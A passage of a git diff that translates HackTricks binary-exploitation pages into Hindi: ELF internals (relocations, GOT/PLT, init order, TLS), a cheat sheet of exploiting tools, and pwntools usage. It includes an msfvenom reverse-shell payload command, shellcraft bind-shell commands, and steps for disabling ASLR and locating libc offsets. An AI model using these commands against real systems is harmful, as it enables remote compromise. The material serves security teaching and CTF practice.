(source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **नाम** +- **बाइंडिंग विशेषताएँ** (कमजोर, स्थानीय या वैश्विक): एक स्थानीय प्रतीक केवल कार्यक्रम द्वारा ही पहुँचा जा सकता है जबकि वैश्विक प्रतीक कार्यक्रम के बाहर साझा किए जाते हैं। एक कमजोर वस्तु उदाहरण के लिए एक फ़ंक्शन है जिसे किसी अन्य द्वारा ओवरराइड किया जा सकता है। +- **प्रकार**: NOTYPE (कोई प्रकार निर्दिष्ट नहीं), OBJECT (वैश्विक डेटा वेरिएबल), FUNC (फ़ंक्शन), SECTION (सेक्शन), FILE (डीबगर्स के लिए स्रोत-कोड फ़ाइल), TLS (थ्रेड-स्थानीय वेरिएबल), GNU_IFUNC (स्थानांतरण के लिए अप्रत्यक्ष फ़ंक्शन) +- **सेक्शन** अनुक्रमांक जहाँ यह स्थित है +- **मान** (स्मृति में पता) +- **आकार** +## गतिशील अनुभाग ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` +NEEDED निर्देशिका यह संकेत करती है कि प्रोग्राम को जारी रखने के लिए **उल्लेखित पुस्तकालय को लोड करने की आवश्यकता है**। NEEDED निर्देशिका तब पूरी होती है जब साझा **पुस्तकालय पूरी तरह से कार्यात्मक और उपयोग के लिए तैयार है**। -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. - -## Relocations - -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. +## पुनर्स्थापनाएँ +लोडर को लोड करने के बाद निर्भरताओं को भी पुनर्स्थापित करना चाहिए। इन पुनर्स्थापनों को REL या RELA प्रारूपों में पुनर्स्थापन तालिका में संकेतित किया गया है और पुनर्स्थापनों की संख्या गतिशील अनुभागों RELSZ या RELASZ में दी गई है। ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### स्थिर पुनर्स्थापनाएँ -### Static Relocations +यदि **कार्यक्रम एक अलग स्थान पर लोड होता है** जो पसंदीदा पते (आमतौर पर 0x400000) से भिन्न है क्योंकि पता पहले से उपयोग में है या **ASLR** या किसी अन्य कारण से, तो एक स्थिर पुनर्स्थापनाएँ **पॉइंटर्स को सही करती हैं** जिनके मानों ने बाइनरी के पसंदीदा पते पर लोड होने की अपेक्षा की थी। -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +उदाहरण के लिए, `R_AARCH64_RELATIV` प्रकार के किसी भी अनुभाग को पुनर्स्थापन बायस के साथ पते को संशोधित करना चाहिए और जोड़ने वाले मान को जोड़ना चाहिए। -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### गतिशील पुनर्स्थापनाएँ और GOT -### Dynamic Relocations and GOT +पुनर्स्थापन एक बाहरी प्रतीक (जैसे किसी निर्भरता से एक फ़ंक्शन) को भी संदर्भित कर सकता है। जैसे कि libC से malloc फ़ंक्शन। फिर, लोडर जब libC को एक पते पर लोड करता है, तो यह जांचता है कि malloc फ़ंक्शन कहाँ लोड होता है, यह पता GOT (ग्लोबल ऑफ़सेट टेबल) तालिका में लिखता है (जो पुनर्स्थापन तालिका में निर्दिष्ट है) जहाँ malloc का पता निर्दिष्ट किया जाना चाहिए। -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### प्रक्रिया लिंक टेबल -### Procedure Linkage Table +PLT अनुभाग आलसी बाइंडिंग करने की अनुमति देता है, जिसका अर्थ है कि किसी फ़ंक्शन के स्थान का समाधान पहली बार जब इसे एक्सेस किया जाता है, तब किया जाएगा। -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +तो जब एक कार्यक्रम malloc को कॉल करता है, तो यह वास्तव में PLT में `malloc` के संबंधित स्थान को कॉल करता है (`malloc@plt`)। जब इसे पहली बार कॉल किया जाता है, तो यह `malloc` का पता हल करता है और इसे संग्रहीत करता है ताकि अगली बार जब `malloc` को कॉल किया जाए, तो उस पते का उपयोग PLT कोड के बजाय किया जाए। -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## कार्यक्रम प्रारंभिककरण +कार्यक्रम के लोड होने के बाद इसे चलाने का समय होता है। हालाँकि, जो पहला कोड चलाया जाता है वह हमेशा `main` फ़ंक्शन नहीं होता है। इसका कारण यह है कि उदाहरण के लिए C++ में यदि एक **वैश्विक चर एक वर्ग का ऑब्जेक्ट है**, तो इस ऑब्जेक्ट को **main चलने से पहले** **प्रारंभिककरण** करना चाहिए, जैसे कि: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +ध्यान दें कि ये वैश्विक चर `.data` या `.bss` में स्थित हैं, लेकिन सूचियों `__CTOR_LIST__` और `__DTOR_LIST__` में प्रारंभ और नष्ट करने के लिए वस्तुएं संग्रहीत की जाती हैं ताकि उन्हें ट्रैक किया जा सके। -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +C कोड से समान परिणाम प्राप्त करना संभव है GNU एक्सटेंशन का उपयोग करके: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +एक कंपाइलर के दृष्टिकोण से, `main` फ़ंक्शन के निष्पादन से पहले और बाद में इन क्रियाओं को निष्पादित करने के लिए, एक `init` फ़ंक्शन और एक `fini` फ़ंक्शन बनाना संभव है, जिन्हें गतिशील अनुभाग में **`INIT`** और **`FIN`** के रूप में संदर्भित किया जाएगा। और इन्हें ELF के `init` और `fini` अनुभागों में रखा गया है। -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +दूसरा विकल्प, जैसा कि उल्लेख किया गया है, **`INIT_ARRAY`** और **`FINI_ARRAY`** प्रविष्टियों में **`__CTOR_LIST__`** और **`__DTOR_LIST__`** सूचियों को संदर्भित करना है और इनकी लंबाई **`INIT_ARRAYSZ`** और **`FINI_ARRAYSZ`** द्वारा इंगित की जाती है। प्रत्येक प्रविष्टि एक फ़ंक्शन पॉइंटर है जिसे बिना तर्कों के कॉल किया जाएगा। -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. - -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +इसके अलावा, एक **`PREINIT_ARRAY`** भी हो सकता है जिसमें **pointers** होंगे जो **`INIT_ARRAY`** पॉइंटर्स से **पहले** निष्पादित किए जाएंगे। ### Initialization Order -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +1. प्रोग्राम को मेमोरी में लोड किया जाता है, स्थिर वैश्विक चर **`.data`** में प्रारंभिक किया जाता है और अनियोजित वाले **`.bss`** में शून्य किए जाते हैं। +2. प्रोग्राम या पुस्तकालयों के सभी **dependencies** **initialized** होते हैं और **dynamic linking** निष्पादित होता है। +3. **`PREINIT_ARRAY`** फ़ंक्शन निष्पादित होते हैं। +4. **`INIT_ARRAY`** फ़ंक्शन निष्पादित होते हैं। +5. यदि एक **`INIT`** प्रविष्टि है, तो इसे कॉल किया जाता है। +6. यदि एक पुस्तकालय है, तो dlopen यहाँ समाप्त होता है, यदि एक प्रोग्राम है, तो **real entry point** (`main` फ़ंक्शन) को कॉल करने का समय होता है। ## Thread-Local Storage (TLS) -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +इन्हें C++ में कीवर्ड **`__thread_local`** या GNU एक्सटेंशन **`__thread`** का उपयोग करके परिभाषित किया गया है। -Each thread will maintain a unique location for this variable so only the thread can access its variable. +प्रत्येक थ्रेड इस चर के लिए एक अद्वितीय स्थान बनाएगा ताकि केवल थ्रेड अपने चर तक पहुँच सके। -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +जब इसका उपयोग किया जाता है, तो ELF में अनुभाग **`.tdata`** और **`.tbss`** का उपयोग किया जाता है। जो `.data` (प्रारंभिक) और `.bss` (अनियोजित) के समान होते हैं लेकिन TLS के लिए। -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. +प्रत्येक चर का TLS हेडर में एक प्रविष्टि होगी जो आकार और TLS ऑफसेट को निर्दिष्ट करती है, जो थ्रेड के स्थानीय डेटा क्षेत्र में उपयोग किया जाने वाला ऑफसेट है। -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +`__TLS_MODULE_BASE` एक प्रतीक है जिसका उपयोग थ्रेड स्थानीय भंडारण के आधार पते को संदर्भित करने के लिए किया जाता है और यह मेमोरी के उस क्षेत्र की ओर इशारा करता है जिसमें एक मॉड्यूल के सभी थ्रेड-स्थानीय डेटा होते हैं। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..38c5f28a4 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# उपकरणों का शोषण {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### शेलकोड्स ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### स्थापित करें ```bash apt-get install gdb ``` - -### Parameters - +### पैरामीटर ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### निर्देश ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +आप वैकल्पिक रूप से [**GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) का **यह फोर्क** उपयोग कर सकते हैं जिसमें अधिक दिलचस्प निर्देश शामिल हैं। ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB समान पते -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +जब आप डिबगिंग कर रहे होते हैं, तो GDB के पास **बाइनरी द्वारा निष्पादित होने पर उपयोग किए गए पते की तुलना में थोड़ा अलग पते होंगे।** आप GDB को समान पते रखने के लिए कर सकते हैं: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _बाइनरी का पूर्ण पथ डालें_ +- बाइनरी का शोषण समान पूर्ण मार्ग का उपयोग करके करें +- `PWD` और `OLDPWD` GDB का उपयोग करते समय और बाइनरी का शोषण करते समय समान होना चाहिए -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### फ़ंक्शंस को खोजने के लिए बैकट्रेस +जब आपके पास एक **स्थैतिक रूप से लिंक की गई बाइनरी** होती है, तो सभी फ़ंक्शन बाइनरी से संबंधित होंगे (और बाहरी पुस्तकालयों से नहीं)। इस मामले में, **उपयोगकर्ता इनपुट मांगने के लिए बाइनरी द्वारा अनुसरण किए जाने वाले प्रवाह की पहचान करना कठिन होगा।**\ +आप इस प्रवाह की पहचान आसानी से कर सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक कि आप इनपुट के लिए नहीं पूछे जाते। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करें ताकि आप कॉल किए गए फ़ंक्शंस को देख सकें: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB सर्वर -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDA में आपको Linux मशीन में executable का पूर्ण पथ भरना होगा और Windows मशीन में) ## Ghidra -### Find stack offset +### स्टैक ऑफसेट खोजें -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** **स्थानीय चर की स्थिति के बारे में जानकारी के लिए** **बफर ओवरफ्लो के लिए ऑफसेट** खोजने में बहुत उपयोगी है।\ +उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर प्रवाह इंगित करता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अलावा, यदि `local_10` एक कैनरी कुकी है, तो यह इंगित करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\ +&#xNAN;_Remember कि पहले 0x08 से जहां RIP सहेजा गया है, वह RBP से संबंधित है।_ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - Get every opcode executed in the program. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के बिना संकलित करें\ +&#xNAN;**-o** --> आउटपुट\ +&#xNAN;**-g** --> कोड सहेजें (GDB इसे देख सकेगा)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> लिनक्स में ASLR को निष्क्रिय करने के लिए -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**एक शेलकोड संकलित करने के लिए:**\ +**nasm -f elf assembly.asm** --> एक ".o" लौटाता है\ +**ld assembly.o -o shellcodeout** --> निष्पादन योग्य ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **निष्पादन योग्य** अनुभागों को असेंबल करें (संकलित शेलकोड के ऑपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन का पता लगाएं...)\ +&#xNAN;**-Mintel** --> **Intel** सिंटैक्स\ +&#xNAN;**-t** --> **सिंबल्स** तालिका\ +&#xNAN;**-D** --> **सभी को असेंबल करें** (स्थिर चर का पता)\ +&#xNAN;**-s -j .dtors** --> dtors अनुभाग\ +&#xNAN;**-s -j .got** --> got अनुभाग\ +-D -s -j .plt --> **plt** अनुभाग **डीकंपाइल**\ +&#xNAN;**-TR** --> **रिलोकेशन**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT में संशोधन के लिए "puts" का पता\ +**objdump -D ./exec | grep "VAR_NAME"** --> एक स्थिर चर का पता (ये DATA अनुभाग में संग्रहीत होते हैं)। ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. अपने प्रोग्राम को शुरू करने से पहले `ulimit -c unlimited` चलाएं +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` चलाएं 3. sudo gdb --core=\ --quiet ## More -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> पता (यदि ASLR है, तो यह हर बार बदलता है)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> यह देखने के लिए लूप कि क्या पता बहुत बदलता है\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" का ऑफसेट\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" का ऑफसेट -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> निष्पादन योग्य द्वारा कॉल की गई फ़ंक्शन\ +**rabin2 -i ejecutable -->** सभी फ़ंक्शनों का पता ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### दूरस्थ लिनक्स में डिबगिंग +IDA फ़ोल्डर के अंदर आप बाइनरी पा सकते हैं जिन्हें लिनक्स के अंदर एक बाइनरी को डिबग करने के लिए उपयोग किया जा सकता है। ऐसा करने के लिए बाइनरी `linux_server` या `linux_server64` को लिनक्स सर्वर के अंदर ले जाएं और उस फ़ोल्डर के अंदर चलाएं जिसमें बाइनरी है: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +फिर, डिबगर को कॉन्फ़िगर करें: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..b5f1faf72 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +लाइन या फ़ाइल से **opcodes** प्राप्त करें। ``` pwn asm "jmp esp" pwn asm -i ``` +**चुन सकते हैं:** -**Can select:** +- आउटपुट प्रकार (raw, hex, string, elf) +- आउटपुट फ़ाइल संदर्भ (16, 32, 64, linux, windows...) +- बाइट्स से बचें (नए पंक्तियाँ, null, एक सूची) +- gdb का उपयोग करके डिबग शेलकोड एन्कोडर का चयन करें और आउटपुट चलाएँ -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output - -## **Pwn checksec** - -Checksec script +## **Pwn चेकसेक** +Checksec स्क्रिप्ट ``` pwn checksec ``` - ## Pwn constgrep ## Pwn cyclic -Get a pattern - +एक पैटर्न प्राप्त करें ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**चुन सकते हैं:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- उपयोग किया गया वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर) +- अद्वितीय पैटर्न की लंबाई (डिफ़ॉल्ट 4) +- संदर्भ (16,32,64,linux,windows...) +- ऑफसेट लें (-l) ## Pwn debug -Attach GDB to a process - +GDB को एक प्रक्रिया से संलग्न करें ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**चुन सकते हैं:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- निष्पादन योग्य, नाम या पीआईडी संदर्भ द्वारा (16,32,64,linux,windows...) +- निष्पादित करने के लिए gdbscript - sysrootpath ## Pwn disablenx -Disable nx of a binary - +बाइनरी का nx बंद करें ``` pwn disablenx ``` - ## Pwn disasm -Disas hex opcodes - +डिसास हेक्स ऑपकोड्स ``` pwn disasm ffe4 ``` +**चुन सकते हैं:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- संदर्भ (16,32,64,linux,windows...) +- आधार पता +- रंग (डिफ़ॉल्ट)/कोई रंग नहीं ## Pwn elfdiff -Print differences between 2 files - +2 फ़ाइलों के बीच के अंतर प्रिंट करें ``` pwn elfdiff ``` - ## Pwn hex -Get hexadecimal representation - +हेक्साडेसिमल प्रतिनिधित्व प्राप्त करें ```bash pwn hex hola #Get hex of "hola" ascii ``` - ## Pwn phd -Get hexdump - +हेक्सडंप प्राप्त करें ``` pwn phd ``` +**चुन सकते हैं:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- दिखाने के लिए बाइट्स की संख्या +- प्रति पंक्ति हाइलाइट बाइट्स की संख्या +- शुरुआत में बाइट्स छोड़ें ## Pwn pwnstrip @@ -122,8 +102,7 @@ pwn phd ## Pwn shellcraft -Get shellcodes - +शेलकोड प्राप्त करें ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**चुन सकते हैं:** -**Can select:** +- शेलकोड और शेलकोड के लिए तर्क +- आउट फ़ाइल +- आउटपुट प्रारूप +- डिबग (शेलकोड पर dbg संलग्न करें) +- पहले (कोड से पहले डिबग ट्रैप) +- बाद में +- ऑपकोड का उपयोग करने से बचें (डिफ़ॉल्ट: नल और नई 